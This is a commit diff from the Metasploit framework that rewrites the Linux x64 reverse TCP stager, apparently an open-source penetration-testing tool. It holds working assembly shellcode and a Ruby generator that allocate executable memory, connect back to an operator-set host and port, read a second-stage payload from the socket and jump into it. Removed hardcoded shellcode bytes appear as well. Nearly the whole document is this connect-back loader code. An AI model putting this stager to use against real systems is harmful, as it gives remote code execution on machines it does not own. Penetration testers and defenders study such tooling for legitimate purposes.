Land #8771, rewrite linux x64 stagers with Metasm
commit
59086af261
|
@ -25,51 +25,58 @@
|
|||
.text
|
||||
.globl _start
|
||||
_start:
|
||||
xor %rdi,%rdi
|
||||
pushq $0x9
|
||||
xor %rdi, %rdi
|
||||
push $0x9
|
||||
pop %rax
|
||||
cltd
|
||||
mov $0x10,%dh
|
||||
mov %rdx,%rsi
|
||||
xor %r9,%r9
|
||||
pushq $0x22
|
||||
cdq
|
||||
mov $0x10, %dh
|
||||
mov %rdx, %rsi
|
||||
xor %r9, %r9
|
||||
push $0x22
|
||||
pop %r10
|
||||
mov $0x7,%dl
|
||||
syscall
|
||||
test %rax, %rax
|
||||
js failed
|
||||
# mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
|
||||
push %rsi
|
||||
push %rax
|
||||
pushq $0x29
|
||||
pop %rax
|
||||
cltd
|
||||
pushq $0x2
|
||||
pop %rdi
|
||||
pushq $0x1
|
||||
pop %rsi
|
||||
syscall
|
||||
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
test %rax, %rax
|
||||
js failed
|
||||
xchg %rax,%rdi
|
||||
movabs $0x100007fb3150002,%rcx
|
||||
push %rcx
|
||||
mov %rsp,%rsi
|
||||
pushq $0x10
|
||||
pop %rdx
|
||||
pushq $0x2a
|
||||
pop %rax
|
||||
syscall
|
||||
# connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
|
||||
mov $0x7, %dl
|
||||
syscall # mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
|
||||
test %rax, %rax
|
||||
js failed
|
||||
|
||||
push %rsi
|
||||
push %rax
|
||||
push $0x29
|
||||
pop %rax
|
||||
cdq
|
||||
push $0x2
|
||||
pop %rdi
|
||||
push $0x1
|
||||
pop %rsi
|
||||
syscall # socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
test %rax, %rax
|
||||
js failed
|
||||
|
||||
xchg %rax, %rdi
|
||||
movabs $0x100007fb3150002, %rcx
|
||||
push %rcx
|
||||
mov %rsp, %rsi
|
||||
push $0x10
|
||||
pop %rdx
|
||||
push $0x2a
|
||||
pop %rax
|
||||
syscall # connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
|
||||
test %rax, %rax
|
||||
js failed
|
||||
|
||||
pop %rcx
|
||||
pop %rsi
|
||||
pop %rdx
|
||||
syscall # read(3, "", 4096)
|
||||
jmpq *%rsi
|
||||
test %rax, %rax
|
||||
js failed
|
||||
|
||||
jmpq *%rsi # to stage
|
||||
|
||||
failed:
|
||||
pushq $0x3c
|
||||
push $0x3c
|
||||
pop %rax
|
||||
pushq $0x1
|
||||
push $0x1
|
||||
pop %rdi
|
||||
syscall
|
||||
# exit(1)
|
||||
syscall # exit(1)
|
||||
|
|
|
@ -0,0 +1,153 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/linux'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse TCP payload generation for Linux ARCH_X64
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Linux::ReverseTcp
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Linux
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_tcp(opts={})
|
||||
asm = asm_reverse_tcp(opts)
|
||||
buf = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
apply_prepends(buf)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = 300
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Integer] :port The port to connect to
|
||||
# @option opts [String] :host The host IP to connect to
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
# TODO: reliability is coming
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
reliable = opts[:reliable]
|
||||
encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
|
||||
asm = %Q^
|
||||
xor rdi, rdi
|
||||
push 0x9
|
||||
pop rax
|
||||
cdq
|
||||
mov dh, 0x10
|
||||
mov rsi, rdx
|
||||
xor r9, r9
|
||||
push 0x22
|
||||
pop r10
|
||||
mov dl, 0x7
|
||||
syscall ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
|
||||
test rax, rax
|
||||
js failed
|
||||
|
||||
push rsi
|
||||
push rax
|
||||
push 0x29
|
||||
pop rax
|
||||
cdq
|
||||
push 0x2
|
||||
pop rdi
|
||||
push 0x1
|
||||
pop rsi
|
||||
syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
test rax, rax
|
||||
js failed
|
||||
|
||||
xchg rdi, rax
|
||||
mov rcx, 0x#{encoded_host}#{encoded_port}
|
||||
push rcx
|
||||
mov rsi, rsp
|
||||
push 0x10
|
||||
pop rdx
|
||||
push 0x2a
|
||||
pop rax
|
||||
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
|
||||
test rax, rax
|
||||
js failed
|
||||
|
||||
pop rcx
|
||||
pop rsi
|
||||
pop rdx
|
||||
syscall ; read(3, "", 4096)
|
||||
test rax, rax
|
||||
js failed
|
||||
|
||||
jmp rsi ; to stage
|
||||
|
||||
failed:
|
||||
push 0x3c
|
||||
pop rax
|
||||
push 0x1
|
||||
pop rdi
|
||||
syscall ; exit(1)
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -4,13 +4,14 @@
|
|||
##
|
||||
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/linux/x64/reverse_tcp'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 96
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Linux::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -21,72 +22,7 @@ module MetasploitModule
|
|||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 55, 'ADDR' ],
|
||||
'LPORT' => [ 53, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
# Generated from external/source/shellcode/linux/x64/stager_sock_reverse.s
|
||||
"\x48\x31\xff" + # xor %rdi,%rdi
|
||||
"\x6a\x09" + # pushq $0x9
|
||||
"\x58" + # pop %rax
|
||||
"\x99" + # cltd
|
||||
"\xb6\x10" + # mov $0x10,%dh
|
||||
"\x48\x89\xd6" + # mov %rdx,%rsi
|
||||
"\x4d\x31\xc9" + # xor %r9,%r9
|
||||
"\x6a\x22" + # pushq $0x22
|
||||
"\x41\x5a" + # pop %r10
|
||||
"\xb2\x07" + # mov $0x7,%dl
|
||||
"\x0f\x05" + # syscall
|
||||
# mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
|
||||
"\x48\x85\xc0" + # test %rax,%rax
|
||||
"\x78\x3c" + # js 40012c <failed>
|
||||
"\x56" + # push %rsi
|
||||
"\x50" + # push %rax
|
||||
"\x6a\x29" + # pushq $0x29
|
||||
"\x58" + # pop %rax
|
||||
"\x99" + # cltd
|
||||
"\x6a\x02" + # pushq $0x2
|
||||
"\x5f" + # pop %rdi
|
||||
"\x6a\x01" + # pushq $0x1
|
||||
"\x5e" + # pop %rsi
|
||||
"\x0f\x05" + # syscall
|
||||
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
"\x48\x85\xc0" + # test %rax,%rax
|
||||
"\x78\x29" + # js 40012c <failed>
|
||||
"\x48\x97" + # xchg %rax,%rdi
|
||||
"\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx
|
||||
"\x15\xb3" + # LPORT
|
||||
"\x7f\x00\x00\x01" + # LHOST
|
||||
"\x51" + # push %rcx
|
||||
"\x48\x89\xe6" + # mov %rsp,%rsi
|
||||
"\x6a\x10" + # pushq $0x10
|
||||
"\x5a" + # pop %rdx
|
||||
"\x6a\x2a" + # pushq $0x2a
|
||||
"\x58" + # pop %rax
|
||||
"\x0f\x05" + # syscall
|
||||
# connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
|
||||
"\x48\x85\xc0" + # test %rax,%rax
|
||||
"\x78\x0c" + # js 40012c <failed>
|
||||
"\x59" + # pop %rcx
|
||||
"\x5e" + # pop %rsi
|
||||
"\x5a" + # pop %rdx
|
||||
"\x0f\x05" + # syscall
|
||||
# read(3, "", 4096)
|
||||
"\x48\x85\xc0" + # test %rax,%rax
|
||||
"\x78\x02" + # js 40012c <failed>
|
||||
"\xff\xe6" + # jmpq *%rsi
|
||||
# 40012c <failed>:
|
||||
"\x6a\x3c" + # pushq $0x3c
|
||||
"\x58" + # pop %rax
|
||||
"\x6a\x01" + # pushq $0x1
|
||||
"\x5f" + # pop %rdi
|
||||
"\x0f\x05" #syscall
|
||||
# exit(1)
|
||||
}
|
||||
))
|
||||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue